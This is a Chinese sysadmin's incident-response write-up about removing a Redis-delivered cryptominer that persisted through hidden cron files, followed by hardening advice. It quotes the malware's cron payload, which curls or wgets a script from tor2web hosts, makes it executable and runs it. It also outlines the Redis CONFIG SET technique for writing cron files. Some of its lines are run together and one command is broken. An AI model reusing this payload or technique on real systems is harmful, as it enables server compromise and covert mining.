
半夜凌晨,被服务器监控系统的报警通知嘚嘚醒了:
❌ 进程数量异常:当前进程数 800,超过阈值 300
登录服务器后,执行 top,发现系统中有大量 僵尸进程(Zombie),CPU 使用率高。
紧接着运行:
ps -aux | more发现 n多 (tbin=$(command -v passwd); ...) 的可疑进程,命令行中夹杂着 curl、wget、.onion.、tor2web样的命令。
心想卧槽!中病毒了,而且极可能是挖矿病毒。
这类病毒通常通过 定时任务(crontab) 持久化驻留,于是第一时间检查:
crontab -l
结果crontab 已被清空显然是攻击者操作过crontab ,继续查找其他隐藏的定时任务。
查看系统所有 cron 配置目录:
ll /var/spool/cron/
ll /etc/cron.d/
cat /etc/crontab果然/var/spool/cron/ 下发现了异常文件
crontab被以下脚本替换 :
被植入病毒脚本内容:/bin/sh -c (tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; \
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; \
... \
${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -o ~/.ntp \
|| wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp) \
&& chmod +x ~/.ntp && sh ~/.ntp# 删除 /var/spool/cron/ 下的可疑文件
3、kill掉定时任务启动的病毒任务
ps -ef|grep tbin|grep -v bash \
|grep -v sshd \
|awk '{print $2}|xargs -i{} kill -9 {} 4、再次查看进程,不到一分钟发现脚本又重新启动
ps -aux|more chkconfig --list 并没有发现可疑程序5、再次杀死进程,并停止 crontab , 过了一会再次查看进程, 已经不存在了,可以确定是 crontab的问题了
6、进一步清理
通过定时任务里的url 地址搜定时任务配置文件,全局 搜到如下 其实是 伪装的Binary file 全部清除, 深色版本
[root@application01 ~]# grep -irnH 7xffbbbebumizpeg /*
Binary file /etc/cron.d/.vuhcwazfbpmgakhhoc matches
Binary file /etc/cron.d/.auwdfmcucuhaq matches
Binary file /etc/cron.d/.cpddmaaqgh matches
Binary file /etc/cron.d/.yaygulruw matches
Binary file /etc/cron.d/.fddjefx matches
Binary file /etc/cron.d/.bgvhyj matches
Binary file /etc/crontab matches
Binary file /home/123/root matches
删除这些隐藏的二进制文件:💡 注意:只要
cron.d目录下的文件,都会被 crontab 服务加载
systemctl restart crond
# 观察几分钟
ps -aux | grep tbin
确认病毒未复活,说明已彻底清除。我 Redis 并未对外开放 6379 端口,通过日志和攻击特征,攻击者很可能是:
requirepass 未启用。bind 0.0.0.0 也增加了暴露面。CONFIG SET dir /etc/cron.d 和 SET xxx "内容" 写入恶意 cron 文件。conf# 绑定内网 IP,禁止外网访问
bind 127.0.0.1 192.168.1.100# 启用密码认证
requirepass 密码#修改默认端口port 12345
:iptables
最小权限原则:
:服务能不暴露就不暴露,能加密码就加密码,非必要禁止访问公网
“一入运维深似海,从此假期是路人。”
